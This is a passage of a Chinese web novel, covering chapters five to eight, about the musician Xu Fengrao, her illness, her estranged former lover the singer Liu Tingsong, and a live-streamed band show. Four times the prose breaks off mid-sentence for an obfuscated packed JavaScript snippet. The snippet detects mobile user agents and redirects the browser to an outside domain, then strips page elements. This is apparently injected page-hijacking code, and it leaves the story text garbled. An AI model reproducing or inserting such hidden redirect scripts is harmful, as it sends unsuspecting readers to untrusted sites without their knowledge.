那晚,许风扰好端端上着班,她就一把鼻涕一把泪地跑过来,捂着脸说有人打她。 许风扰还没搞清楚状况,那黄毛朋友的对象就带着人过来,吵着说明明就是对方先出轨在先,天天消息也不回,时时刻刻粘着许风扰和那帮朋友,他才寂寞出轨的。 黄毛朋友不甘示弱,当场反驳。 之前就站在旁边的红毛、绿毛十分仗义,还在旁边帮忙争论。 出轨男被说得气急败坏,竟动起手来。 而那群最仗义的红毛、绿毛一看自己人被欺负了,当即就招呼动手。 两方人就这样打成一团,吓得路人当场打了110,导致一群人都被逮到局子里。 不过幸好,虽然大家上一秒还在你死我活、拳脚相加,在这个时候却十分默契,答复都几乎一样,就是几个朋友之间闹着玩的。 毕竟“道上”是“道上”的事,再多的爱恨情仇也得私底下慢慢算,若是扯上当官的,平白多了一堆事。 警察也见惯了这些,瞧着没什么大问题,便随便问了几句,直接归结于感情纠纷就草草结束,继而就让他们叫自己家里人来接。 这事其实也简单,可偏偏给许风扰难住了。 要她在此刻和许母低头,那简直比砍头还难受。 所以她在角落里装模作样了半天,愣是没打出去一个电话。 那些个狐朋狗友不知她情况,还以为她是故意如此,特地叫家人晚点来,故意避开那位怒目圆瞪的绿帽哥,愣是不知道帮个忙,被亲人边揪着耳朵,边骂着边赶回去。 等到凌晨一点,警局里就只剩下许风扰和一个已经脱离孤儿院的孤儿。 两人坐着小凳子,并排坐在大厅的角落里,一边听着旁边警察的闲聊,一边打瞌睡。 柳听颂就是这个时候进来的。 她推开玻璃门,携着门外世界的虫鸣与闷热的风,踏入这个沉闷而压抑、由厚重水泥墙建起的四方房子里。 被吵醒的许风扰,努力扯起眼皮,半眯着往那边看,打量着来人。 还是那副打扮,黑衣黑裤遮掩身形,压低鸭舌帽挡住半张面容,惹得里头的人纷纷往这边看。 许风扰困得厉害,心里头虽然好奇,但眼帘还是像挂了铁块似的,一点点往下塌。 可没等她彻底睡着,就被一声惊呼声吓醒。 许风扰当即抬头,便往那边看。 之前还面色冷峻的警察,现在神色激动,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368273|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因情绪突然起伏过大,两颊泛起红。 这是怎么了? 许风扰迟缓地眨了眨眼。 她还没有听清,那边就压低了声音,只能从雀跃上调的语调中,极力辨认出几个字眼。 “我……柳……一直很喜欢。” 风从玻璃门的缝隙涌入,直直往许风扰身上吹。 “签名……您……” 在酷热的夏季,许风扰突然打了个冷颤。 挺莫名其妙的。 她用力搓了搓小臂,将竖起的汗毛全部压下去。 没心思再偷听那边的对话,手臂一搭,脑袋一低,就开始埋头睡觉。 实在太困了,半点都挨不住。 等再睁眼,那人已在站在她面前,刻意放低声音,柔声喊道:“许风扰、许风扰起来了。 “我带你回家。” 轻轻柔柔的声音落在耳畔。 朦胧的睡眼慢慢瞪大,脑子清醒之后,反而觉得眼前这一幕才是梦境。 许风扰被惊得往后仰,一屁股跌落在地,结结巴巴就道:“你、你是柳听颂?” 她终于明白,方才的警察为何会那么激动。 忽有大风刮来,用力往玻璃窗上一撞,震得整个房屋都摇晃起来。 床上的人呼吸急促,顿时从梦境中挣脱,汗水在同一时间冒出,如水般随着脸颊滑落,将枕头染湿。 此刻已是天光破晓时,些许光亮从窗帘缝隙中挤出,映在掉落在地的被褥上。 许风扰缓了下,才抬起手,用小臂遮住双眼。 不知是因为窗外的日光,还是之前的梦。 只是无声缓了好一会,才慢慢放下手。 小臂那一片都是潮的,像是被水沾湿了一般。 再等片刻,她随手抓住旁边手机,懒得仔细翻找,被长时间按压过的眼珠涨疼,视线也变得极为模糊,只往最近通话上的第一位一按。 昨晚她就和楚澄打过电话。 滴滴的电子音还没有响过几秒,便有人接通,许风扰不等对方开口,便哑着声说:“给我带点药过来。” “我好像感冒了。” 这时才察觉到,她的面色潮红、嘴唇发白,之前从睡梦中带出的汗水,没有随着清醒而停止,反倒越来越多,看起来像是刚从水里捞出来一般。 电话对面想要说话,却被一连串的咳嗽声打断。 许风扰一下子咳得厉害,抱着肚子蜷缩成一团,本就单薄的身体,在此刻更显消瘦,好像只剩下一堆骨头架子一般。 她哑着声催促:“快点、” “再带点退烧药。” 对面没有回答,电话被挂断。 5. 第五章 “我天,祖宗,昨天晚上您是做什么去了?” “不就是旧情人回来了吗,您至于给自己折腾成三十九度八吗!这是大半夜睡不着,出去跳了个湖?” 诧异的语气十分夸张。 许风扰恹恹抬眼,瞪了眼旁边的楚澄,无力反驳了句:“你才去跳湖了。” 楚澄耸了耸肩,她这人就是如此,心眼子不坏,对朋友也仗义,就是话特碎,总喜欢夸大其词。 不过…… 许风扰撇了眼她手里的温度计。三十九度八倒是货真价实,半点没夸大。 原以为就是个小感冒,没想到那么严重。 不过想一想也正常,在回到S市前,她已连轴工作了半个月,在飞机上也没能休息片刻,一路都在和经纪人吵架,之后又穿着单薄短袖骑车,被风吹了好一会。 后头又因柳听颂那事郁结烦闷,更别说凌晨突然爬起来,在客厅翻来找去的那一遭。 一堆破事叠加在一块,就算是个身体壮实的家伙都挨不住,更别说身子骨颇虚的许风扰。 楚澄没再说旁的,再不靠谱也知道轻重,不然许风扰也不会想到打电话给她。 当即放□□温计就去烧水。 一番折腾后,才又重新坐下来。 这下,许风扰额头多了个降温贴,舌尖也全是苦味。 楚澄瞧着她,本来还想补上几句揶揄,可瞧她那副可怜样,最后还是没能说出口。 这两人认识得早,不然她也不会知道柳听颂和许风扰的事 只是许风扰这人嘴严得很,自从柳听颂离开就没提起过一点,好像身边就没出现过对方一样。 楚澄自个有时也会怀疑,怀疑当年的一切都是自己的幻觉,只能从许风扰越来越瘦削的躯体中,才能得到些许实感。 许风扰这人就是这样,表面看着桀骜肆意的,实际性子挺闷,越大的事越喜欢憋着不说,表面四平八稳的,看着什么都不在乎,实际都是自己在熬。 一米七五的大高个,愣是只剩下九十多斤,饶是去医院看了几回,也没将体重挽回一点,甚至让外头传出了点风言风语,说许风扰沾了那东西。 这一次也是一样,昨天晚上打电话时,听着平平淡淡的,今早就病成这样。 楚澄叹了口气,挠了挠染成海王红的长发,想插科打诨,又憋不出什么话。 自顾自纠结了一会,又去端提回来的粥。 许风扰将她的举动收入眼底,但也没出声解释,靠坐在床头,眼帘半垂着,不知道在想什么,整个人都病恹恹的。 不大想动,也不想说话。 直到,舀着粥的勺子抵到唇边,她才下意识张嘴,一连吃了好几种药,嘴里的苦味环绕不散,就算没什么胃口,也想吃点东西压一压。 可米粒落在舌间,过分熟悉的味道还是让许风扰怔住。 楚澄没大注意,这辈子还没服侍过几回人,眼睛盯着许风扰唇边的米粒,寻思着是该现在擦掉,还是等会吃完后再处理。 她还没有琢磨明白,许风扰就转身向旁边,伸手捞出丢在缝隙的手机。 楚澄顿时一激灵,想要阻止,却早已来不及。 只见手机屏幕亮起,通话记录的最顶端赫然出现了个未备注的电话号码。 许风扰表情沉了沉,下意识点进去。 第一个通话来自于柳听颂敲门前,那时的她还在厨房洗杯子,手机又被长期设置成静音,就没有瞧见这一通电话,没想到今早上竟误打了过去。 楚澄张了张嘴,有些尴尬还得努力维持镇定,劝道:“她挺关心你的……” 难为她顶着个最嚣张的海王红,说着最怂的话。 许风扰不回她,本就苍白的面色越发沉郁。 屋外阳光刺眼,楚澄刚来时就将窗帘拉开,露出外面大片的绿,鸟儿在枝头杵着,不知道摇头晃脑的在看什么,空气里有米香扩散,透着股淡淡的甜。 楚澄结结巴巴:“你、也别想太多,她就是关心你……又怕你生气不吃药。” 可怜她一个中间人,两边都得罪不得,也没劝和的本事,只能说着干巴巴的话。 许风扰没责怪她,倒也没病到胡乱责怪人的地步,本来也是她先打错电话。 她像一下子泄了气,往床里一躺,就恹恹道:“不想吃了。” 楚澄见她终于开口,如获大赦一般松了口气,快速道:“那我等会拿下去丢了。” 许风扰点了点头,又说:”那些药也拿走,我等会另外买。” “成,”楚澄知道她心里不爽利,没有坚持。 许风扰抿了抿嘴,又说:“过两天再请你吃东西。” 她心里挺拧得清的,本来就不关楚澄的事,没必要让自己朋友也跟着难受,只是她说不出那些对不起的话,以两人的交情也不需要,不管大事小事,请一顿饭就好。 楚澄面色一缓,只道:“请什么,没必要,你再翻个味道好点的老馆子出来就成。” S市这些年发展快,随着一座座高楼建起的,是一间间消失在阴影中的老餐馆,唯有那些从小在这儿长大的老饕,才能从记忆中翻找出曾经的好滋味。 许风扰点了点头,晓得楚澄爱吃,早就有了打算,再道:“这两天的排练取消吧。” 前两天就约好,燃陨乐队这几天都要排练。 “等会我去说一声,”楚澄想了想,有些犹豫,但还是开口道:“你该休息就休息,没必要天天念着我们,除了乐队你还能有别的生活” 比如之前酒吧这事,按理说许风扰行程如此紧凑,是不该答应下来,可许风扰觉得她们好久没一起演出了,愣是强行定下来…… 许风扰点了点头,也不知道听没听进去,自顾自往被子里一躺,就道:“我要休息了。” 楚澄无奈,只能叹了口气。 房门被关上,脚步声随之响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368274|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看楼下,昨夜停留到凌晨的轿车,今儿又早早等在这边,车身覆着一层白雾,被手指一划就出现一条明晰的纹路,分外冰凉。 见到又大兜小兜提下来的楚澄,柳听颂没有意外,打开车门后,快步走了过去,开口就问道:“她怎么样了?” “已经退烧了,”楚澄有些不自在,不自觉退后一步,拉远距离。 “谢谢,”柳听颂说得真心实意。 可另一人却觉得难以接受,摆了摆手就道:“这有什么好谢的,都是你买来买去,我只是赶过来把东西提上去,就是……” 她话音一转,又为难地提了提手上的东西,说:“她也没吃多少。” 柳听颂抿了抿唇,只道:“麻烦你大早上赶过来了。” “害,这能有什么,”楚澄又开始挠头,努力宽慰道:“你知道她就那个脾气……” 柳听颂点了点头,重复了一遍:“谢谢。” 她眼帘一垂,突兀冒出一句:“是我对不起她。” 两人顿时没了言语,一个不知道该说什么,另一个没心情再说旁的,两个人就僵持在原地,沉默又压抑。 心里头都清楚,许风扰就是这脾气,要是肯和你大吵大闹还好,起码心里头还有你的位置。 若是像现在这样,一味地把人往外推,就好像在两人面前立了一面墙,直接划出她的人生外,那就是真排斥,完完全全不喜欢这人,连个说几句话都懒得,只想离你远远的,一点交集都不想有。 楚澄也没办法,余光一瞥,刚好瞧见车里的手机亮起,连忙出声提醒。 柳听颂就转身去取,刚接通,那头就传来焦急声音。 看起来也挺忙的,连这点送东西的时间都是挤出来的。 楚澄耳朵灵敏,听到什么拍摄的字眼,然后那边又说起柳听颂昨夜乱跑的事。 她眨了眨眼,被强压下的好奇心又冒出来,柳听颂刚挂断电话,她就忍不住出声道:“你昨天真没来过酒吧?” 柳听颂一愣,继而坦然道:“来了。” 她又夸奖道:“你们的进步很大,已经是个足够成熟的乐队了。” 楚澄的后脑勺都要被挠秃了,想笑又笑不出来,怪难受的,心里头还在大骂许风扰,这都要瞒着她。 柳听颂像是看出什么,苦笑了下,解释道:“晚宴结束得早,你们又推迟了一个小时,让我刚好赶上演出。” “哎是、阿风她飞机延迟了。” “我原本没想打扰你们的演出,打算静静听完就走,没想到被旁边人认出来,幸好、” 柳听颂停顿了下:“昨晚、我本来想和她解释几句,但是她不愿意见我。” 楚澄听着就觉得头疼,要是面前这人不是柳天后,她从小就喜欢的歌手,她还能坚定不移地站在许风扰那边,一点也不给对方机会,可这人偏偏就是柳听颂。 她也不知道怎么办好,胡扯了几句后,两人匆匆分别。 6. 第六章 这场病来得急且凶,反反复复,直到晚上七八点后,才逐渐缓和下来。 许风扰被折腾得够呛,不知是晕过去还是睡着,就这样迷迷糊糊躺了一整天,等到天色漆黑时,才想起来吃饭这一茬,拿着手机点了一堆外卖后,便急匆匆往浴室里跑。 比生病更难受的是身上的不爽利,愣是强撑着放了半缸子的水,给自己泡了个干干净净。 再出来时,所有的外卖都已到达,全被暂时搁在门口。 ——咔。 房门被推开,许风扰就穿着宽大短袖和五分裤,湿漉漉的脑袋上顶着个白浴巾,一手还压在上头,胡乱擦拭,一点没把自己当病号看,随意的很。 只是这人还没有踏出门口,就先往门边靠。 腿脚还发虚着,一点也站不住,就那么一下也想倚着。 可她还没有休息一秒,就瞧见站在旁边的人。 不知道站在这儿等了多久了,手上还提着她的那一堆外卖。 是那人先出声,轻声道:“我不大放心……” 只是这话还没有说完,里头的那人就又想逃,下意识扯过门把手,腿就往后撤。 可终究遭了刚刚胡来的反噬,无力的腿脚根本支撑不住,不仅没等关上门,还差点往后摔,幸好柳听颂眼疾手快,急忙上前,伸手拉住对方。 摇晃的纸袋发出剧烈摩擦声,在空旷楼道中回响,被掐在虎口下的脉搏猛烈跳动。 昨夜是许风扰将对方压在巷子里,如今则反过来,柳听颂将人压在门沿。 但与之前不同的是,两人没有再隔着巴掌大的距离,而是真真切切贴在一块,将全部缝隙挤压殆尽。 这突然的贴近让两个人都懵住,一时没了反应。 压人的那位没有起身,被压着的那位没有力气反抗,大脑一片空白,甚至泛起空鸣。 就算是完全清醒时,也不知道该怎么面对,更何况是在已经昏昏沉沉一整天的情况下。 迟缓的大脑咔嚓一声,冒出的第一句居然是:柳听颂会不会觉得硌得慌。 楼道里的声控灯又暗了下去,漆黑瞬间袭来,视线被剥夺,心跳声更加清晰,交替跳动,不知道是谁追上了谁,逐渐合在一块。 “让开,”终究是许风扰先开口,不知是生病,还是方才被热水熏过的原因,声音很哑。 另一人没有动作,好像没有听见。 因许风扰比柳听颂稍高半个头的缘故,对方的呼吸刚好能落在许风扰锁骨,一下又一下,有点痒。 瘦削脊背紧紧靠着门沿,骨头硌得生疼,却没有半点往前的意思,甚至越发往后靠。 垂落在身侧的手,松开又握成拳,反反复复。 许风扰又一次重复:“让开。” 她偏过头,试图拉扯开距离,却嗅到淡淡香气,不是之前的花香调,更偏向苦涩的药味,不知道什么时候沾染上的。 许风扰皱起眉头,翻腾的情绪终于压抑不住,几乎是咬牙切齿一般开口,问:“你到底想做什么?” “柳听颂,你要把我压在这里多久?” “万一又被人看见,这一次你要怎么压热搜?” “之前的事情是我的工作室擅作主张,”柳听颂终于开口。 许风扰讥笑一声,反问道:“你又想玩什么戏码?回国找旧情人再续前缘?” 因两人说话的声音都不大,刻意压低,所以声控灯不曾亮起,但情绪无法掩盖,甚至因此更加清晰,让柳听颂完全听出对方话语中的抵触与讽刺。 柳听颂沉默了下,只道:“我只是有些担心你。” 许风扰回得很快:“这和你有什么关系?” “怎么?之前分手你也没通知我一声,现在连和好也不告诉我,你自己单方面就能决定了?” “柳听颂,你当我什么东西?” 她声音极其冷淡,直接道:“之前的电话是我打错了,我是死是活都和你没有半点关系,你以后不用再过来了。” 怀里的人似乎颤了下,连心跳都停顿一瞬,以至于脱离了之前的契合。 她艰难开口道:“昨天晚上的事情是意外……” “我知道了,你之前留的纸条已经解释过了,”许风扰直接打断了对方的话。 “不需要再一次道歉,你也没有影响正常演出,酒吧就在那里,你想来就来,想走就走,不关我的事、” 许风扰停顿了下,声音更冷:“但是我希望你以后都不要再来了,我不想在任何地方看见你。” 这一幕极其违和,明明两个人的姿势如此亲昵,像是热恋期的情侣,念念不舍黏在门前,即便一片漆黑,也不舍得离开,可对话却冰冷,字字句句都在往对方身上扎。 柳听颂张了张嘴,又不知道该说什么,小臂无意触碰到对方的指尖,立马就被许风扰躲开。 “你手有点冰,记得加点衣服,”柳听颂语气柔和。 “如果不是你压着我站在这里,我现在已经回屋了,”许风扰并不领情。 听到这话,柳听颂终于不再纠缠,她站直身子,退后两步,灯光随之亮起。 两人又一次暴露在光亮下。 许风扰眯了眯眼,被这突然的光亮刺激到,对面的人下意识想抬手,替她遮住,只是刚抬起,又反应过来,僵硬放下,惹出一片外卖纸袋的嘈杂声。 许风扰很快就适应过来,抬手拽走对方手中的东西,又一次重复道:“以后你就不要过来了,我这里不欢迎你。” 话毕,她侧身抬手就要关门,刚刚踏进房内一只脚的人,又急忙退后。 ——嘭! 房门被大力关上,将空间彻底分割成两半。 柳听颂站在门外,不知道在想什么,完全听不到里头的声音,地上的影子被拉长,直到彻底模糊。 好一会后,她才低下头,视线落在领口。 许风扰的发丝未擦拭干净,水一直在往下落,恰好将她衣服染湿,湿了好大一片。 里头的人不曾知晓,就算知道了也不会在意,打定主意不去理会,要和柳听颂这人划清界限,若不是生病难受,懒得再点一遍外卖,估计连手里头的东西都得再丢一回。 拖拉的椅子划过地面,发出尖锐声音。 许风扰在纸袋中翻找,脑海中又闪过之前的画面,不知道对方提了多久,指腹全是勒出的红痕。 回忆只出现一瞬,下一秒又被强行压下。 她翻出几盒药片,随意看了眼说明书后,连一杯水都懒得接,就这样干巴巴地往下咽。 再翻开另一个纸袋。 许是搁置的时间太长,圆盒里的粥已经凉透,油脂凝在上头,让人生不出半点食欲。 让人无端想起白日里的那一碗。 柳听颂很会煮粥。 之前她也好奇过,总觉得这人有什么特别的秘方,磨了柳听颂许久,对方也不肯直接告诉她,非要她自个早些起来,让她守在厨房偷师。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368275|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许风扰努力过几次,只是每回都赶不上,不知道柳听颂到底是几点起床,竟次次都在她醒前就做好,继而先盛在小碗中放凉,只要许风扰一起来,便能吃到刚好适口的米粥。 折腾几次无果后,许风扰再也不愿再爬起来。 她摆烂地想:反正有柳听颂折腾,她只管吃就好,没必要去找什么秘方。 但那回也是巧了,因为第二天的初次演出,许风扰在床上翻来覆去睡不着,一直熬到凌晨时,终于听到屋外传来翻箱倒柜的声音。 “你在煮粥吗?” 突然传出的声音让柳听颂一顿。 转头看去,罪魁祸首单手挠着乱蓬蓬的头发,迷迷糊糊地站在门外。 “怎么那么早啊?”那人昏昏沉沉的,睡不着也清醒不了,脑袋都跟着发晕。 她慢吞吞走过来,没骨头的靠着冰箱,即便晕成这样子,也惦记着偷师。 看得柳听颂摇头直笑,终于将她的秘方透露出来。 其实也不难,只是比寻常人都舍得花时间折腾。 早早就得爬起来,先用冷水将米泡个半小时,大米还得挑那种圆胖的珍珠米,锅也得是砂锅。 先砂锅里的水烧开,再往里倒米,大火顺时针搅动,煮开之后又换文火,大小火交替后,米香便会随之煮出,片刻之后就变得粘稠,米粒也吸住了水,饱满又酥稠,最后再倒一点油,或者加一两片姜片,将早早就准备好食材倒入其中,重复搅拌直到烫熟。 许风扰看了一会,便主动要求帮忙。 只是她头一会做这事,经验太浅,一点也避不开蒸腾不断的水蒸气,烫得小臂发红,再也没心思想什么比赛,只顾着左手捏着勺子转一圈,又急忙换右手转一圈,嘴里还发出呼呼声音,脑袋上的乱毛也跟着摇摇晃晃,像个毛茸茸的狗尾巴草。 柳听颂也不帮忙,就倚着大理石台面,望着她笑。 此时的晨光刚好从格窗中钻出,分割成一块块光斑,柔柔落在两人身上。 回忆的画面破碎开,再次回归到晦暗的现实里,厨房只亮着一盏小小的灯,将纸碗里的粥衬得更加油腻。 许风扰的眼帘垂落,眼睫在眼睑留下淡淡的灰影,微微发颤。 许是得了柳听颂的秘方的缘故,第二日的演出很成功,即便是第一次登台,也没有半点胆怯和失误,几乎是超常发挥一般,将整个舞台都调动起来。 也多亏了这个舞台,让燃陨乐队第一次出现在台前,就有了不错的评价,甚至是一两个粉丝。 许风扰深吸了一口气,将回忆彻底压下。 塑料勺子舀起冷粥,面无表情地咽下,和之前吃药的神色一样。 钟表的指针转动,纸碗里的白粥只剩下一半。 电话声又一次响起,许风扰随手接通,这一次是一个稍显严厉的中年女性声音,立马就开口道:“明天下午有一个音乐综艺的安排,你记得吗?我之前和你提过。” 不等许风扰回答,她又道:“我已经通知了乐队的其他人,明天她们会提前到你家。” “你记得提前准备一下,不要太懒散,开门热情些,主动和嘉宾打个招呼。” 她宛如在唠叨一个小孩一般,又丢出一个甜枣:“你不是想多带带乐队的人吗?这次是一个很好的曝光渠道,你表现好一点。” 许风扰“嗯”了一声,表示知道。 那人絮絮叨叨又绕到别处,桌上的半碗白粥再也没有减少,孤零零丢在桌面,彻底冷凝。 7. 第七章 “听颂姐,张导那边打来电话。” 一片混乱的摄影棚中,柳听颂抬起眼,看向旁边。 因平面拍摄的缘故,她的妆容略重,上挑的眼尾,稍往下的位置点了一颗小痣,本应毫无遮掩,却戴了无边框的眼镜,将妩媚掩在镜片内,将原本的清冷疏离衬得更浓。 宽松的浅灰西装,深V领的衬衫露出一截平直锁骨,银链垂落往下,随着动作而摇晃。 赶来的助理一愣,小声“啊”一下,又由衷感慨了句:“听颂姐你真好看。” 若是旁人夸奖,只会当做普通奉承,但这助理白净,圆脸杏眼,无论说什么都觉得讨喜得很。 柳听颂像是笑了下,倒是不是因为夸奖,而是小助理呆愣的讨喜模样。 小助理这才反应过来,连忙上前两步,将手机往前递,并放低声音,提醒了句:“是私人电话。” 柳听颂微微点头,心里顿时就明白几分。 她与这位张导并无太多交情,自然谈不上什么私下交流,既然费尽心思绕过工作室那边,必然是有为难的请求。 果然,柳听颂一拿起手机,对面就传来焦急的女声。 “听颂姐您好,我是张青颖,之前和您有过一次合作,您还记得吗?” 不等柳听颂回答,她又连忙解释道:“很抱歉私下打扰您,实在是事情太急,我方才联系到您经纪人那边,却她被直接拒绝了,只能托人要到您的私人电话。” 闻言,柳听颂终于开口:“张导您好。” 那人听到回应,当即一喜,忙道:“事情紧急,我就不和您废话了,是这样的……” 小助理等在旁边,乱瞟的眼神从周围落在镜面,本想再欣赏一下自家老板的漂亮容貌,却见她的面色从漫不经心到凝重,甚至已经直起脊背。 小助理眨了眨眼,还没有来得及困惑,就听到一句。 “好的,我明白了。” “我答应您。” “现在就过去吗?” “哎?”小助理瞪大眼,心中顿时有了不好的预感。 只是她还没有来得及开口询问,便瞧见柳听颂已经站起来,像是打量了下镜子里的自己,自言自语道:“应该不用卸了……” 什么?! 小助理终于反应过来,连忙出声提醒道:“听颂姐我们等会还有一个拍摄,李老师之后的档期已经排满,可能再很难挤出时间给我们拍图了。” 她试图提醒柳听颂,时间紧迫,她们并不适合去掺和这位张导的大事。 柳听颂像是听进去了,露出恍然神色,当即转身,走向还在忙忙碌碌布景的摄影师,不知两人说了什么,对方居然点了点头,不一会,小助理就瞧见她老板重新走了回来,语气十分轻松道:“我们走吧。” 走? 走什么? 小助理先是呆愣,继而崩溃。 她姐在做什么?这可是李摄! 现在娱乐圈有多少人想约她都没有时间,她姐居然推了?! 这还是经纪人特地安排的拍摄,为柳听颂重返娱乐圈而造势,也算正式通知粉丝,她柳听颂回来了,可是现在她姐却让她一起走。 小助理都能联想到经纪人知道之后,大发雷霆的样子。 她还没有来得及阻拦,就瞧见她姐已经走出门…… 十分钟后,小助理与柳听颂坐进节目组安排的车里,直到这时,她才知道自家艺人接下了什么东西。 这是一个名叫《重返乐队》的节目,前身是一个关于乐队比赛的选秀综艺。 第一季的爆火,使诸多乐队都因此崭露头角,其中就包括如今大火的燃陨乐队,只是可惜,这节目还是难逃一季比一季差的魔咒,第三季的收视率甚至跌入谷底,半点水花都没能溅起。 之后张导又创办了另一档综艺节目,收视更差,不仅没赚钱,甚至还赔了不少,焦头烂额下,今年竟打起了卖情怀的主意。 这节目便是以线上直播的形式,以第一季的排名排序,从八强开始,依次上门采访。 且为了增加娱乐性和热度,节目组在每一次采访前,都会邀请一位重量级音乐人,与乐队一起问答谈心,并在最后时间里,一起即兴完成一首歌。 节目一经播出,热度就居高不下,前面短短七集就出了两首热单,这让观众越发期待起如今大火的乐队——燃陨乐队的登场,还没有开播,就先上了几次热搜。 作为总导演的张青颖,自然不会放过这个热度,几次明里暗里的造势,一下透露,会有个重量级歌手参与其中,一下保证,对方一定会与燃陨乐队擦出特别的火花,创作出极优秀的热单,将观众的期待值无限提高,以至于现在还未开播,就有四万人在线等待。 而张导这边也确实为此费尽人情,特地找到了个资历极优秀的老前辈,本已经信心满满,却没想到今早就收到电话,那人不肯来了! 这可把张导急疯了,嘴皮连着冒了好几个水泡,慌慌张张联系了其他人,却都被告知行程不便,最后竟找到柳听颂这儿。 她倒不知柳听颂和许风扰的关系,只是之前与柳听颂短暂合作过一次,又听说柳听颂在音乐圈的风评极好,经常会主动帮助新人,还说她曾亲自带过一支乐队,只是不知是哪一个乐队。 她便抱着瞎猫碰上死耗子的决心,托人寻到了柳听颂,没想到这人居然真的答应了! 张青颖欣喜若狂,为显自己郑重态度,甚至亲自跟车赶来,与柳听颂一同赶往拍摄地点。 还未开播的直播间屏幕漆黑,可角落的在线人数,还在以一个极恐怖的速度攀升,弹幕更是接连不断,从燃陨乐队讨论到神秘嘉宾,不见停歇。 【快开快开,这张导怎么回事?上次星轨乐队的直播就迟半个小时了,这回居然拖了一个多小时都没开播】 【前面别急,这次说不定不是节目组的错,指不定乐队里的谁故意耍大牌】 前面的弹幕还没有彻底飘过,就有人默契刷出许风扰三个字,给出回答。 立马就有粉丝刷屏反击。 【是是是,什么都是我们家姐姐的错,到底是谁都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368276|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,就先开始骂起我们来】 【那几家的粉丝不要太明显,燃陨的核心是谁,大家都清楚,要是没有许风扰,那几位能火吗?别天天逮着许风扰黑行不行】 【什么网络小判官,天天是这个是那个的,烦不烦】 片刻后,屏幕上又冒出阴阳怪气的弹幕。 【许风扰那怪脾气谁不清楚,还需要别人黑她?】 【前两天在机场和经纪人对骂的事还没有过去吧,粉丝到底在洗什么?】 【太好笑了,还没有说是谁呢,就先开始护上了】 一时间屏幕上全是对骂,争吵不断,眼见事态要朝不可控制的方向发展时,突然有人发了条弹幕。 【你们在这里瞎吵什么啊,我有一个朋友在节目组里,他说是这次不关许风扰的事,是嘉宾临时违约了,张导正四处找人呢】 眼瞧着弹幕飘过,屏幕上果然短暂安静了一下,紧接着就冒出更多弹幕,疯狂刷屏。 【什么?那这一次直播还能正常开吗?】 【不要啊!我期待了好几天的燃陨,特地和同事换班,把今天下午全空出来】 【完了完了,临时找的人能好吗,别找个阿猫阿狗来凑数啊,燃陨好久没发新歌了,我就指着这次呢】 坐在前排的导演心急如焚,之前还能抽出心思,与柳听颂闲聊几句,现在一直低头,双手紧紧捏着手机。 眼看着质疑声越来越大,即便有柳听颂这样的外援支持,也让她冒出一头汗,来不及去细究,到底是谁提前泄露了风声,脑子里全是之前欠下的钱。 再想一想好不容易四处求人,贷款拍出的节目,要不是追债的追得紧,她肯定要细细打磨之后再放出,根本不会选择线上直播这样的方式,以至于落得今天这样险些翻车的下场。 可事已至此,她也没有再后悔机会,只能求着这一期完美收关,把她的翻身仗打得漂漂亮亮的。 汗水滴落在屏幕,顺着滑落往下。 后面的小助理也急,面色有些煞白,但与导演相反,完全不敢低头,生怕看见手机一眼,另一边的经纪人已经收到消息,连着打来十几个电话,她只能假装没看见…… 又一个电话打来,在掌心里震动。 小助理一咬牙,视死如归地往后一靠,喃喃自语道:“要死了要死了。” 这电话还是她亲自递给柳听颂的! 另一边的柳听颂无心理会,从上车之后就一直闭目养神,好像真的只是顺手帮的一个小忙,掀不起半点情绪,唯有垂落在身侧,紧握成拳的手,暴露出她现在的紧张情绪。 她昨夜可是被许风扰赶出门的,还被对方警告再也不能踏入她的屋子,更不想和柳听颂有任何交际,可现在…… 柳听颂睁开眼,望向熟悉的建筑,不由吐出一口气,还没有缓和片刻,又有沉闷感受压在心头。 保姆车终于停下,张导已极快速度打开出门,当即就喊:“开播!” 其他几辆车的人纷纷开门跳下,抗在肩头的摄影机亮起,众人纷纷冲向里头。 8. 第八章 ——扣扣。 房门被敲响,里头人早已等待许久,当即拧转门把手,打开大门。 停留在外的镜头,立刻直直怼向开门人。 